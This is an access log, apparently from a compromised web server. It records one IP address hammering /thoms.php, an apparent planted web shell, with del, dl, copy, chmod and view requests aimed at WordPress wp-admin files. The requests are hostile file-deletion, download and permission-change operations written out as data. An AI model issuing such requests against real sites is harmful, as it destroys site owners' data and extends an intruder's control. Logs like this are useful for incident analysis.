45.135.193.11 - - [11/Sep/2026:23:34:33 -0400] "GET /thoms.php?del=options.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28895 "http://163.245.207.76:443/thoms.php?del=options.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:33 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=admin-ajax.php HTTP/1.1" 200 13869 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=admin-ajax.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:33 -0400] "GET /thoms.php?del=plugin-editor.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28874 "http://163.245.207.76:443/thoms.php?del=plugin-editor.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:33 -0400] "GET /thoms.php?dl=link-manager.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28906 "http://163.245.207.76:443/thoms.php?dl=link-manager.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:34 -0400] "GET /thoms.php?del=load-styles.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=load-styles.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:34 -0400] "GET /betcity.com.tw/wp-admin/ms-themes.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:34 -0400] "GET /thoms.php?del=media-new.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=media-new.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:34 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions-discussion.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions-discussion.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:34 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fupload.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11429 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fupload.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:34 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=edit-form-comment.php HTTP/1.1" 200 16928 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=edit-form-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:34 -0400] "GET /thoms.php?dl=erase-personal-data.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28903 "http://163.245.207.76:443/thoms.php?dl=erase-personal-data.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:34 -0400] "GET /betcity.com.tw/wp-admin/media-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:34 -0400] "GET /thoms.php?del=export.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=export.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:34 -0400] "GET /thoms.php?dl=moderation.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=moderation.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:34 -0400] "GET /betcity.com.tw/wp-admin/options-permalink.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:35 -0400] "GET /thoms.php?del=privacy.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28905 "http://163.245.207.76:443/thoms.php?del=privacy.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fsetup-config.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fsetup-config.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:35 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=admin.php HTTP/1.1" 200 16231 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Flink-add.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Flink-add.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:35 -0400] "GET /thoms.php?dl=menu.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28900 "http://163.245.207.76:443/thoms.php?dl=menu.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:35 -0400] "GET /thoms.php?dl=press-this.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28900 "http://163.245.207.76:443/thoms.php?dl=press-this.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:35 -0400] "GET /thoms.php?dl=edit-comments.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=edit-comments.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fincludes&p= HTTP/1.1" 200 12347 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fincludes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fimport.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fimport.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:36 -0400] "GET /thoms.php?del=upload.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28833 "http://163.245.207.76:443/thoms.php?del=upload.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:36 -0400] "GET /thoms.php?del=ms-edit.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=ms-edit.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:36 -0400] "GET /betcity.com.tw/wp-admin/nav-menus.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:36 -0400] "GET /betcity.com.tw/wp-admin/options-general.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:36 -0400] "GET /betcity.com.tw/wp-admin/press-this.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:36 -0400] "GET /thoms.php?del=revision.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=revision.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:36 -0400] "GET /thoms.php?dl=ms-sites.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=ms-sites.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:36 -0400] "GET /thoms.php?chmod=admin-header.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=admin-header.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:36 -0400] "GET /thoms.php?del=upgrade.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28844 "http://163.245.207.76:443/thoms.php?del=upgrade.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:36 -0400] "GET /thoms.php?del=menu.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=menu.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:37 -0400] "GET /betcity.com.tw/wp-admin/admin-ajax.php HTTP/1.1" 400 21 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:37 -0400] "GET /betcity.com.tw/wp-admin/edit-form-comment.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:37 -0400] "GET /thoms.php?del=network&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=network&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:37 -0400] "GET /thoms.php?chmod=edit.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=edit.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:37 -0400] "GET /thoms.php?chmod=options.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=options.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:37 -0400] "GET /thoms.php?chmod=post-new.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=post-new.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:37 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=upgrade-functions.php HTTP/1.1" 200 12107 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=upgrade-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:37 -0400] "GET /thoms.php?dl=revision.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28900 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:37 -0400] "GET /thoms.php?del=maint&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28900 "http://163.245.207.76:443/thoms.php?del=maint&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:37 -0400] "GET /thoms.php?del=edit-link-form.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28826 "http://163.245.207.76:443/thoms.php?del=edit-link-form.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:37 -0400] "GET /thoms.php?del=ms-sites.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28903 "http://163.245.207.76:443/thoms.php?del=ms-sites.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:38 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fuser-edit.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fuser-edit.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:37 -0400] "GET /betcity.com.tw/wp-admin/user-edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:38 -0400] "GET /betcity.com.tw/wp-admin/about.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:38 -0400] "GET /thoms.php?dl=admin-header.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?dl=admin-header.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:38 -0400] "GET /thoms.php?del=admin-functions.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=admin-functions.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:38 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=custom-background.php HTTP/1.1" 200 12145 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=custom-background.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:38 -0400] "GET /thoms.php?del=ms-options.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28899 "http://163.245.207.76:443/thoms.php?del=ms-options.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:38 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=my-sites.php HTTP/1.1" 200 14122 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=my-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:38 -0400] "GET /thoms.php?del=options-general.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=options-general.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:38 -0400] "GET /thoms.php?dl=upgrade.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=upgrade.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:39 -0400] "GET /thoms.php?chmod=edit-link-form.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=edit-link-form.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:39 -0400] "GET /thoms.php?chmod=options-permalink.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=options-permalink.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:39 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=upload.php HTTP/1.1" 200 16872 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:39 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=options-privacy.php HTTP/1.1" 200 15899 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=options-privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:39 -0400] "GET /thoms.php?dl=user-edit.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=user-edit.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:39 -0400] "GET /thoms.php?del=about.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28905 "http://163.245.207.76:443/thoms.php?del=about.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:39 -0400] "GET /betcity.com.tw/wp-admin/plugin-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:39 -0400] "GET /betcity.com.tw/wp-admin/term.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:39 -0400] "GET /thoms.php?dl=about.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?dl=about.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:39 -0400] "GET /thoms.php?dl=admin-ajax.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28900 "http://163.245.207.76:443/thoms.php?dl=admin-ajax.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:40 -0400] "GET /betcity.com.tw/wp-admin/privacy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:40 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fthemes.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fthemes.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:40 -0400] "GET /thoms.php?dl=font-library.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28914 "http://163.245.207.76:443/thoms.php?dl=font-library.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:40 -0400] "GET /thoms.php?del=comment.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=comment.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:40 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fmoderation.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fmoderation.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:40 -0400] "GET /thoms.php?del=link-add.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=link-add.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:40 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fwidgets.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fwidgets.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:40 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fprivacy.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fprivacy.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:40 -0400] "GET /thoms.php?del=nav-menus.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28903 "http://163.245.207.76:443/thoms.php?del=nav-menus.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
